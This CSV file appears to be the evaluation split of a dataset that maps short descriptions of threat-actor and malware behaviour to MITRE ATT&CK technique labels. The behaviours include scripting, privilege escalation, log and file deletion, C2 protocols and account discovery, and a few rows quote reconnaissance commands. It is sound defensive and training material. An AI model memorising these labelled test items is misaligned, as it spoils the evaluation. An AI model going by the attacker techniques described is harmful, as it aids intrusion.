FIN7 used VBS scripts to help perform tasks on the victim's machine.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
Frankenstein has used Word documents that prompts the victim to enable macros and run a Visual Basic script.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
LazyScripter has used VBScript to execute malicious code.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
"Molerats used various implants, including those built with VBScript, on target machines.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
Sandworm Team has created VBScripts to run an SSH server.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
Squirrelwaffle has used malicious VBA macros in Microsoft Word documents and Excel spreadsheets that execute an `AutoOpen` subroutine.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
VBShower has the ability to execute VBScript files.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
PoetRAT was executed with a Python script and worked in conjunction with additional Python-based post-exploitation tools.,['T1059.006 - Command and Scripting Interpreter: Python'],eval_config
SILENTTRINITY is written in Python and can use multiple Python scripts for execution on targeted systems.,['T1059.006 - Command and Scripting Interpreter: Python'],eval_config
Tonto Team has used Python-based tools for execution.,['T1059.006 - Command and Scripting Interpreter: Python'],eval_config
Avaddon has been executed through a malicious JScript downloader.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],eval_config
DarkWatchman uses JavaScript to perform its core functionalities.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],eval_config
Donut can generate shellcode outputs that execute via JavaScript or JScript.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],eval_config
Kimsuky has used JScript for logging and downloading additional tools.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],eval_config
TA505 has used JavaScript for code execution.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],eval_config
APT33 has used a publicly available exploit for CVE-2017-0213 to escalate privileges on a local system.,['T1068 - Exploitation for Privilege Escalation'],eval_config
BITTER has exploited CVE-2021-1732 for privilege escalation.,['T1068 - Exploitation for Privilege Escalation'],eval_config
FIN8 has exploited the CVE-2016-0167 local vulnerability.,['T1068 - Exploitation for Privilege Escalation'],eval_config
ProLock can use CVE-2019-0859 to escalate privileges on a compromised host.,['T1068 - Exploitation for Privilege Escalation'],eval_config
Threat Group-3390 has used CVE-2014-6324 and CVE-2017-0213 to escalate privileges.,['T1068 - Exploitation for Privilege Escalation'],eval_config
Turla has exploited vulnerabilities in the VBoxDrv.sys driver to obtain kernel mode privileges.,['T1068 - Exploitation for Privilege Escalation'],eval_config
XCSSET has used a zero-day exploit in the ssh launchdaemon to elevate privileges and bypass SIP.,['T1068 - Exploitation for Privilege Escalation'],eval_config
TrickBot can identify the groups the user on a compromised host belongs to.,['T1069 - Permission Groups Discovery'],eval_config
Caterpillar WebShell can obtain a list of local groups of users from a system.,['T1069.001 - Permission Groups Discovery: Local Groups'],eval_config
SILENTTRINITY can obtain a list of local groups and members.,['T1069.001 - Permission Groups Discovery: Local Groups'],eval_config
Egregor can conduct Active Directory reconnaissance using tools such as Sharphound or AdFind.,['T1069.002 - Permission Groups Discovery: Domain Groups'],eval_config
SILENTTRINITY can use `System.DirectoryServices` namespace to retrieve domain group information.,['T1069.002 - Permission Groups Discovery: Domain Groups'],eval_config
CSPY Downloader has the ability to remove values it writes to the Registry.,['T1070 - Indicator Removal on Host'],eval_config
"DarkWatchman can uninstall malicious components from the Registry, stop processes, and clear the browser history.",['T1070 - Indicator Removal on Host'],eval_config
MCMD has the ability to remove set Registry Keys.,['T1070 - Indicator Removal on Host'],eval_config
Chimera has cleared event logs on compromised hosts.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],eval_config
HermeticWiper can overwrite the `C:\Windows\System32\winevt\Logs` file on a targeted system.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],eval_config
Attor’s plugin deletes the collected files and log files after exfiltration.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Carbanak has a command to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
FALLCHILL can delete malware and associated artifacts from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"Following the successful injection of SUNBURST, SUNSPOT deleted a temporary file it created named ""InventoryManager.bk"" after restoring the original SolarWinds Orion source code to the software library.",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"GoldenSpy's uninstaller can delete registry entries, files and folders, and finally itself once these tasks have been completed.",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Grandoreiro can delete .LNK files created in the Startup folder.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"GuLoader can delete its executable from the ""AppData\Local\Temp"" directory on the compromised host.",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Heyoka Backdoor has the ability to delete folders and files from a targeted system.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
KEYMARBLE has the capability to delete files off the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Kivars has the ability to uninstall malware from the infected host.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"Lazarus Group malware has deleted files in various ways, including ""suicide scripts"" to delete malware binaries from the victim. Lazarus Group also uses secure file deletion to delete files from the victim.",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Lokibot will delete its dropped files after bypassing UAC.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Magic Hound has deleted and overwrote files to cover tracks.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Malware used by Group5 is capable of remotely deleting files from victims.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
More_eggs can remove itself from a system.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Mori can delete its DLL file and related files by Registry value.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
NanHaiShu launches a script to delete their original decoy file to cover tracks.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"Once loaded into memory, MESSAGETAP deletes the keyword_parm.txt and parm.txt configuration files from disk.",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Operation Wocao has deleted logs and executable files used during an intrusion.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Patchwork removed certain files and replaced them so they could not be retrieved.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Proton removes all files in the /tmp directory.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Remsec is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Sibot will delete itself if a certain server response is received.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
TYPEFRAME can delete files off the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
USBStealer has several commands to delete files associated with the malware from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
WhisperGate can delete tools from a compromised host after execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
jRAT has a function to delete files from the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
njRAT is capable of deleting files.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"Chimera has used a Windows version of the Linux ""touch"" command to modify the date and time stamp on DLLs.",['T1070.006 - Indicator Removal on Host: Timestomp'],eval_config
KeyBoy time-stomped its DLL in order to evade detection.,['T1070.006 - Indicator Removal on Host: Timestomp'],eval_config
Shamoon can change the modified time for files to evade forensic detection.,['T1070.006 - Indicator Removal on Host: Timestomp'],eval_config
SUNBURST also removed the firewall rules it created during execution.,['T1070.007 - Clear Network Connection History and Configurations'],eval_config
Rocke issued wget requests from infected systems to the C2.,['T1071 - Application Layer Protocol'],eval_config
TeamTNT has used an IRC bot for C2 communications.,['T1071 - Application Layer Protocol'],eval_config
3PARA RAT uses HTTP for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
APT39 has used HTTP in communications with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
BITTER has used HTTP POST requests for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
BLUELIGHT can use HTTP/S for C2 using the Microsoft Graph API.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Cardinal RAT is downloaded using HTTP over port 443.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
CharmPower can use HTTP to communicate with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
ComRAT has used HTTP requests for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Confucius has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Crimson can use a HTTP GET request to download its final payload.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"During Operation Wocao, threat actors’ XServer tool communicated using HTTP and HTTPS.",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
FoggyWeb has the ability to communicate with C2 servers over HTTP GET/POST requests.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
GrimAgent has the ability to use HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Hi-Zor communicates with its C2 server over HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Higaisa used HTTP and HTTPS to send data back to its C2 server.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Industroyer’s main backdoor connected to a remote C2 server using HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
KGH_SPY can send data to C2 with HTTP POST requests.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Kazuar uses HTTP and HTTPS to communicate with the C2 server. Kazuar can also act as a webserver and listen for inbound HTTP requests through an exposed API.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"Later implants used by APT28, such as CHOPSTICK, use a blend of HTTP, HTTPS, and other legitimate channels for C2, depending on module configuration.",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Mustang Panda has communicated with its C2 via HTTP POST requests.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
OLDBAIT can use HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
OilRig has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Okrum uses HTTP for communication with its C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
P.A.S. Webshell can issue commands via HTTP POST.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Peppy can use HTTP to communicate with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"RDAT can use HTTP communications for C2, as well as using the WinHTTP library to make requests to the Exchange Web Services API.",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
RGDoor uses HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
RedLeaves can communicate to its C2 over HTTP and HTTPS if directed.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
SUNBURST communicated via HTTP GET or HTTP POST requests to third party servers for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
ShadowPad communicates over HTTP to retrieve a string that is decoded into a C2 server URL.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Shark has the ability to use HTTP in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
TA505 has used HTTP to communicate with C2 nodes.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
TeamTNT has the `curl` command to send credentials over HTTP and the `curl` and `wget` commands to download new software. TeamTNT has also used a custom user agent HTTP header in shell scripts.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
TrailBlazer has used HTTP requests for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Tropic Trooper has used HTTP in communication with the C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Valak has used HTTP in communications with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
Variants of Kevin can communicate with C2 over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
WhisperGate can make an HTTPS connection to download additional files.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
njRAT has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
APT41 used exploit payloads that initiate download via ftp.,['T1071.002 - File Transfer Protocols'],eval_config
Attor has used FTP protocol for C2 communication.,['T1071.002 - File Transfer Protocols'],eval_config
Honeybee uses FTP for command and control.,['T1071.002 - File Transfer Protocols'],eval_config
PoetRAT has used FTP for C2 communications.,['T1071.002 - File Transfer Protocols'],eval_config
Milan has the ability to use DNS for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],eval_config
Mori can use DNS tunneling to communicate with C2.,['T1071.004 - Application Layer Protocol: DNS'],eval_config
PlugX can be configured to use DNS for command and control.,['T1071.004 - Application Layer Protocol: DNS'],eval_config
Variants of Anchor can use DNS tunneling to communicate with C2.,['T1071.004 - Application Layer Protocol: DNS'],eval_config
WellMess has the ability to use DNS tunneling for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],eval_config
"Silence has used RAdmin, a remote software tool used to remotely control workstations and ATMs.",['T1072 - Software Deployment Tools'],eval_config
"Wizard Spider has collected and staged credentials and network enumeration information, using  the networkdll and psfin TrickBot modules.",['T1074 - Data Staged'],eval_config
Catchamas stores the gathered data from the machine in .db files and .bmp files under four separate locations.,['T1074.001 - Data Staged: Local Data Staging'],eval_config
"Crutch has staged stolen files in the ""C:\AMD\Temp"" directory.",['T1074.001 - Data Staged: Local Data Staging'],eval_config
"Dtrack can save collected data to disk, different file formats, and network shares.",['T1074.001 - Data Staged: Local Data Staging'],eval_config
FIN5 scripts save memory dump data into a specific directory on hosts in the victim environment.,['T1074.001 - Data Staged: Local Data Staging'],eval_config
"KGH_SPY can save collected system information to a file named ""info"" before exfiltration.",['T1074.001 - Data Staged: Local Data Staging'],eval_config
MacMa has stored collected files locally before exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],eval_config
Milan has saved files prior to upload from a compromised host to folders beginning with the characters `a9850d2f`.,['T1074.001 - Data Staged: Local Data Staging'],eval_config
"Modules can be pushed to and executed by Duqu that copy data to a staging area, compress it, and XOR encrypt it.","['T1074.001 - Data Staged: Local Data Staging', 'T1560.003 - Archive via Custom Method']",eval_config
PUNCHBUGGY has saved information to a random temp file before exfil.,['T1074.001 - Data Staged: Local Data Staging'],eval_config
QakBot has stored stolen emails and other data into new folders prior to exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],eval_config
"RainyDay can use a file exfiltration tool to copy files to ""C:\ProgramData\Adobe\temp"" prior to exfiltration.",['T1074.001 - Data Staged: Local Data Staging'],eval_config
"Ramsay can stage data prior to exfiltration in ""%APPDATA%\Microsoft\UserSetting"" and ""%APPDATA%\Microsoft\UserSetting\MediaCache"".",['T1074.001 - Data Staged: Local Data Staging'],eval_config
"TRINITY malware used by FIN6 identifies payment card track data on the victim and then copies it to a local file in a subdirectory of ""C:\Windows\"".",['T1074.001 - Data Staged: Local Data Staging'],eval_config
Trojan.Karagany can create directories to store plugin output and stage data for exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],eval_config
Night Dragon has copied files to company web servers and subsequently downloaded them.,['T1074.002 - Remote Data Staging'],eval_config
APT33 has used valid accounts for initial access and privilege escalation.,['T1078 - Valid Accounts'],eval_config
APT39 has used stolen credentials to compromise Outlook Web Access (OWA).,['T1078 - Valid Accounts'],eval_config
APT41 used compromised credentials to log on to other systems.,['T1078 - Valid Accounts'],eval_config
Axiom has used previously compromised administrative accounts to escalate privileges.,['T1078 - Valid Accounts'],eval_config
Dragonfly has compromised user credentials and used valid accounts for operations.,['T1078 - Valid Accounts'],eval_config
"During Operation Wocao, threat actors used valid VPN credentials to gain initial access.",['T1078 - Valid Accounts'],eval_config
FIN8 has used valid accounts for persistence and lateral movement.,['T1078 - Valid Accounts'],eval_config
Lazarus Group has used administrator credentials to gain access to restricted network segments.,['T1078 - Valid Accounts'],eval_config
Linux Rabbit acquires valid SSH accounts through brute force.,['T1078 - Valid Accounts'],eval_config
"During Operation Wocao, threat actors used domain credentials, including domain admin, for lateral movement and privilege escalation.",['T1078.002 - Domain Accounts'],eval_config
Ryuk can use stolen domain admin accounts to move laterally within a victim domain.,['T1078.002 - Domain Accounts'],eval_config
"During Operation Wocao, threat actors used local account credentials found during the intrusion for lateral movement and privilege escalation.",['T1078.003 - Valid Accounts: Local Accounts'],eval_config
HAFNIUM has used the NT AUTHORITY\SYSTEM account to create files on Exchange servers.,['T1078.003 - Valid Accounts: Local Accounts'],eval_config
Operation Wocao has used local account credentials found during the intrusion for lateral movement and privilege escalation.,['T1078.003 - Valid Accounts: Local Accounts'],eval_config
Turla has abused local accounts that have the same password across the victim’s network.,['T1078.003 - Valid Accounts: Local Accounts'],eval_config
Umbreon creates valid local users to provide access to the system.,['T1078.003 - Valid Accounts: Local Accounts'],eval_config
LAPSUS$ has used compromised credentials to access cloud assets within a target organization.,['T1078.004 - Valid Accounts: Cloud Accounts'],eval_config
"InvisiMole can replace legitimate software or documents in the compromised network with their trojanized versions, in an attempt to propagate itself within the network.",['T1080 - Taint Shared Content'],eval_config
Miner-C copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.,['T1080 - Taint Shared Content'],eval_config
Stuxnet infects remote servers via network shares and by infecting WinCC database views with malicious code.,['T1080 - Taint Shared Content'],eval_config
A system info module in CozyCar gathers information on the victim host’s configuration.,['T1082 - System Information Discovery'],eval_config
APT18 can collect system information from the victim’s machine.,['T1082 - System Information Discovery'],eval_config
"APT29 used ""fsutil"" to check available free space before executing actions that might create large files on disk.",['T1082 - System Information Discovery'],eval_config
Backdoor.Oldrea collects information about the OS and computer name.,['T1082 - System Information Discovery'],eval_config
"Bankshot gathers system information, network addresses, disk type, disk free space, and the operation system version.",['T1082 - System Information Discovery'],eval_config
"BlackEnergy has used Systeminfo to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor.",['T1082 - System Information Discovery'],eval_config
DEATHRANSOM can enumerate logical drives on a target system.,['T1082 - System Information Discovery'],eval_config
"During Frankenstein, the threat actors used Empire to obtain the compromised machine's name.",['T1082 - System Information Discovery'],eval_config
"During Operation Honeybee, the threat actors collected the computer name, OS, and other system information using `cmd /c systeminfo > %temp%\ temp.ini`.",['T1082 - System Information Discovery'],eval_config
"Dyre has the ability to identify the computer name, OS version, and hardware configuration on a compromised host.",['T1082 - System Information Discovery'],eval_config
"FatDuke can collect the user name, Windows version, computer name, and available space on discs from a compromised host.",['T1082 - System Information Discovery'],eval_config
"Felismus collects the system information, including hostname and OS version, and sends it to the C2 server.",['T1082 - System Information Discovery'],eval_config
FinFisher checks if the victim OS is 32 or 64-bit.,['T1082 - System Information Discovery'],eval_config
"Frankenstein has enumerated hosts, looking for the system's machine name.",['T1082 - System Information Discovery'],eval_config
Get2 has the ability to identify the computer name and Windows version of an infected host.,['T1082 - System Information Discovery'],eval_config
Grandoreiro can collect the computer name and OS version from a compromised host.,['T1082 - System Information Discovery'],eval_config
"HOPLIGHT has been observed collecting victim machine information like OS version, drivers, volume information and more.",['T1082 - System Information Discovery'],eval_config
"KEYMARBLE has the capability to collect the computer name, language settings, the OS version, CPU information, disk devices, and time elapsed since system start.",['T1082 - System Information Discovery'],eval_config
KOCTOPUS has checked the OS version using `wmic.exe` and the `find` command.,['T1082 - System Information Discovery'],eval_config
"LightNeuron gathers the victim computer name using the Win32 API call ""GetComputerName"".",['T1082 - System Information Discovery'],eval_config
LiteDuke can enumerate the CPUID and BIOS version on a compromised system.,['T1082 - System Information Discovery'],eval_config
MURKYTOP has the capability to retrieve information about the OS.,['T1082 - System Information Discovery'],eval_config
Neoichor can collect the OS version and computer name from a compromised host.,['T1082 - System Information Discovery'],eval_config
"OopsIE checks for information on the CPU fan, temperature, mouse, hard disk, and motherboard as part of its anti-VM checks.",['T1082 - System Information Discovery'],eval_config
PLAINTEE collects general system enumeration data about the infected machine and checks the OS version.,['T1082 - System Information Discovery'],eval_config
"POWRUNER may collect information about the system by running ""hostname"" and ""systeminfo"" on a victim.",['T1082 - System Information Discovery'],eval_config
Pay2Key has the ability to gather the hostname of the victim machine.,['T1082 - System Information Discovery'],eval_config
"PowerDuke has commands to get information about the victim's name, build, version, serial number, and memory usage.",['T1082 - System Information Discovery'],eval_config
"Pupy can grab a system’s information including the OS version, architecture, etc.",['T1082 - System Information Discovery'],eval_config
RCSession can gather system information from a compromised host.,['T1082 - System Information Discovery'],eval_config
Shamoon obtains the victim's operating system version and keyboard layout and sends the information to the C2 server.,['T1082 - System Information Discovery'],eval_config
Shark can collect the GUID of a targeted machine.,['T1082 - System Information Discovery'],eval_config
"SpeakUp uses the ""cat /proc/cpuinfo | grep -c “cpu family” 2>&1"" command to gather system information.",['T1082 - System Information Discovery'],eval_config
"Stuxnet collects system information including computer and domain names, OS version, and S7P paths.",['T1082 - System Information Discovery'],eval_config
TURNEDUP is capable of gathering system information.,['T1082 - System Information Discovery'],eval_config
Torisma can use `GetlogicalDrives` to get a bitmask of all drives available on a compromised system. It can also use `GetDriveType` to determine if a new drive is a CD-ROM drive.,['T1082 - System Information Discovery'],eval_config
"Unknown Logger can obtain information about the victim computer name, physical memory, country, and date.",['T1082 - System Information Discovery'],eval_config
macOS.OSAMiner can gather the device serial number and has checked to ensure there is enough disk space using the Unix utility `df`.,['T1082 - System Information Discovery'],eval_config
zwShell can obtain the victim PC name and OS version.,['T1082 - System Information Discovery'],eval_config
APT18 can list files information for specific directories.,['T1083 - File and Directory Discovery'],eval_config
APT39 has used tools with the ability to search for files on a compromised host.,['T1083 - File and Directory Discovery'],eval_config
"An older version of CHOPSTICK has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.",['T1083 - File and Directory Discovery'],eval_config
BADFLICK has searched for files on the infected host.,['T1083 - File and Directory Discovery'],eval_config
CreepyDrive can specify the local file path to upload files from.,['T1083 - File and Directory Discovery'],eval_config
Doki has resolved the path of a process PID to use as a script argument.,['T1083 - File and Directory Discovery'],eval_config
"During Operation CuckooBees, the threat actors used `dir c:\\` to search for files.",['T1083 - File and Directory Discovery'],eval_config
"During Operation Honeybee, the threat actors used a malicious DLL to search for files with specific keywords.",['T1083 - File and Directory Discovery'],eval_config
"During Operation Wocao, threat actors gathered a recursive directory listing to find files and directories of interest.",['T1083 - File and Directory Discovery'],eval_config
FruitFly looks for specific files and file types.,['T1083 - File and Directory Discovery'],eval_config
"HermeticWiper can enumerate common folders such as My Documents, Desktop, and AppData.",['T1083 - File and Directory Discovery'],eval_config
Metamorfo has searched the Program Files directories for specific folders and has searched for strings related to its mutexes.,['T1083 - File and Directory Discovery'],eval_config
"MuddyWater has used malware that checked if the ProgramData folder had folders or files with the keywords ""Kasper,"" ""Panda,"" or ""ESET.""",['T1083 - File and Directory Discovery'],eval_config
NDiskMonitor can obtain a list of all files and directories as well as logical drives.,['T1083 - File and Directory Discovery'],eval_config
"OSX/Shlayer has used the command ""appDir=""$(dirname $(dirname ""$currentDir""))"""" and ""$(dirname ""$(pwd -P)"")"" to construct installation paths.",['T1083 - File and Directory Discovery'],eval_config
OwaAuth has a command to list its directory and logical drives.,['T1083 - File and Directory Discovery'],eval_config
PoshC2 can enumerate files on the local file system and includes a module for enumerating recently accessed files.,['T1083 - File and Directory Discovery'],eval_config
Proxysvc lists files in directories.,['T1083 - File and Directory Discovery'],eval_config
RTM can check for specific files and directories associated with virtualization and malware analysis.,['T1083 - File and Directory Discovery'],eval_config
RedLeaves can enumerate and search for files and directories.,['T1083 - File and Directory Discovery'],eval_config
Remcos can search for files on the infected machine.,['T1083 - File and Directory Discovery'],eval_config
TYPEFRAME can search directories for files on the victim’s machine.,['T1083 - File and Directory Discovery'],eval_config
ThreatNeedle can obtain file and directory information.,['T1083 - File and Directory Discovery'],eval_config
"USBStealer searches victim drives for files matching certain extensions (“.skr”,“.pkr” or “.key”) or names.",['T1083 - File and Directory Discovery'],eval_config
"APT32 enumerated administrative users and DC servers using the commands ""net localgroup administrators"" and ""net group ""Domain Controllers"" /domain"".",['T1087 - Account Discovery'],eval_config
BloodHound can identify users with local administrator rights.,['T1087.001 - Account Discovery: Local Account'],eval_config
"Comnie uses the ""net user"" command.",['T1087.001 - Account Discovery: Local Account'],eval_config
GeminiDuke collects information on local user accounts from the victim.,['T1087.001 - Account Discovery: Local Account'],eval_config
"Pupy uses PowerView and Pywerview to perform discovery commands such as net user, net group, net local group, etc.",['T1087.001 - Account Discovery: Local Account'],eval_config
The discovery modules used with Duqu can collect information on accounts and permissions.,['T1087.001 - Account Discovery: Local Account'],eval_config
"Threat Group-3390 has used ""net user"" to conduct internal discovery of systems.",['T1087.001 - Account Discovery: Local Account'],eval_config
Valak has the ability to enumerate local admin accounts.,['T1087.001 - Account Discovery: Local Account'],eval_config
"admin@338 actors used the following commands following exploitation of a machine with LOWBALL malware to enumerate user accounts: ""net user >> %temp%\download"" ""net user /domain >> %temp%\download""",['T1087.001 - Account Discovery: Local Account'],eval_config
"Chimera has has used ""net user /dom"" and ""net user Administrator"" to enumerate domain accounts including administrator accounts.",['T1087.002 - Account Discovery: Domain Account'],eval_config
Cobalt Strike can determine if the user on an infected machine is in the admin or domain admin group.,['T1087.002 - Account Discovery: Domain Account'],eval_config
"Sykipot may use ""net group ""domain admins"" /domain"" to display accounts in the ""domain admins"" permissions group and ""net localgroup ""administrators"""" to list local system administrator group membership.",['T1087.002 - Account Discovery: Domain Account'],eval_config
Wizard Spider has identified domain admins through the use of “net group ‘Domain admins’” commands.,['T1087.002 - Account Discovery: Domain Account'],eval_config
Grandoreiro can parse Outlook .pst files to extract e-mail addresses.,['T1087.003 - Email Account'],eval_config
"Sandworm Team used malware to enumerate email settings, including usernames and passwords, from the M.E.Doc application.",['T1087.003 - Email Account'],eval_config
TA505 has used the tool EmailStealer to steal and send lists of e-mail addresses to a remote server.,['T1087.003 - Email Account'],eval_config
AuditCred can utilize proxy for communications.,['T1090 - Proxy'],eval_config
"Blue Mockingbird has used frp, ssf, and Venom to establish SOCKS proxy connections.",['T1090 - Proxy'],eval_config
FunnyDream can identify and use configured proxies in a compromised network for C2 communication.,['T1090 - Proxy'],eval_config
Socksbot can start SOCKS proxy threads.,['T1090 - Proxy'],eval_config
TSCookie has the ability to proxy communications with command and control (C2) servers.,['T1090 - Proxy'],eval_config
"During Operation Wocao, threat actors proxied traffic through multiple infected systems.",['T1090.001 - Proxy: Internal Proxy'],eval_config
"InvisiMole can function as a proxy to create a server that relays communication between the client and C&C server, or between two clients.",['T1090.001 - Proxy: Internal Proxy'],eval_config
Stuxnet installs an RPC server for P2P communications.,['T1090.001 - Proxy: Internal Proxy'],eval_config
InvisiMole InvisiMole can identify proxy servers used by the victim and use them for C2 communication.,['T1090.002 - External Proxy'],eval_config
Kobalos can chain together multiple compromised machines as proxies to reach their final targets.,['T1090.003 - Proxy: Multi-hop Proxy'],eval_config
QakBot has the ability to use removable drives to spread through compromised networks.,['T1091 - Replication Through Removable Media'],eval_config
Tropic Trooper has attempted to transfer USBferry from an infected USB device by copying an Autorun function to the target machine.,['T1091 - Replication Through Removable Media'],eval_config
APT28 uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.,['T1092 - Communication Through Removable Media'],eval_config
"Part of APT28's operation involved using CHOPSTICK modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.",['T1092 - Communication Through Removable Media'],eval_config
APT29 has used TCP for C2 communications.,['T1095 - Non-Application Layer Protocol'],eval_config
Bisonal has used raw sockets for network communication.,['T1095 - Non-Application Layer Protocol'],eval_config
Clambling has the ability to use TCP and UDP for communication.,['T1095 - Non-Application Layer Protocol'],eval_config
"During Operation Wocao, threat actors used a custom protocol for command and control.",['T1095 - Non-Application Layer Protocol'],eval_config
HiddenWasp communicates with a simple network protocol over TCP.,['T1095 - Non-Application Layer Protocol'],eval_config
InvisiMole has used TCP to download additional modules.,['T1095 - Non-Application Layer Protocol'],eval_config
Operation Wocao has used a custom protocol for command and control.,['T1095 - Non-Application Layer Protocol'],eval_config
PlugX can be configured to use raw TCP or UDP for command and control.,['T1095 - Non-Application Layer Protocol'],eval_config
QakBot has the ability use TCP to send or receive C2 packets.,['T1095 - Non-Application Layer Protocol'],eval_config
RARSTONE uses SSL to encrypt its communication with its C2 server.,['T1095 - Non-Application Layer Protocol'],eval_config
The PipeMon communication module can use a custom protocol based on TLS over TCP.,['T1095 - Non-Application Layer Protocol'],eval_config
The Regin malware platform can use ICMP to communicate between infected computers.,['T1095 - Non-Application Layer Protocol'],eval_config
WellMail can use TCP for C2 communications.,['T1095 - Non-Application Layer Protocol'],eval_config
Calisto adds permissions and remote logins to all users.,['T1098 - Account Manipulation'],eval_config
Dragonfly 2.0 added newly created accounts to the administrators group to maintain elevated access.,['T1098 - Account Manipulation'],eval_config
SMOKEDHAM has added created user accounts to local Admin groups.,['T1098 - Account Manipulation'],eval_config
LAPSUS$ has added the global admin role to accounts they have created in the targeted organization's cloud instances.,['T1098.003 - Account Manipulation: Additional Cloud Roles'],eval_config
Carbon can use Pastebin to receive C2 commands.,['T1102 - Web Service'],eval_config
GuLoader has the ability to download malware from Google Drive.,['T1102 - Web Service'],eval_config
Hildegard has downloaded scripts from GitHub.,['T1102 - Web Service'],eval_config
"APT41 used legitimate websites for C2 through dead drop resolvers (DDR), including GitHub, Pastebin, and Microsoft TechNet.",['T1102.001 - Dead Drop Resolver'],eval_config
Grandoreiro can obtain C2 information from Google Docs.,['T1102.001 - Dead Drop Resolver'],eval_config
Metamorfo has used YouTube to store and hide C&C server domains.,['T1102.001 - Dead Drop Resolver'],eval_config
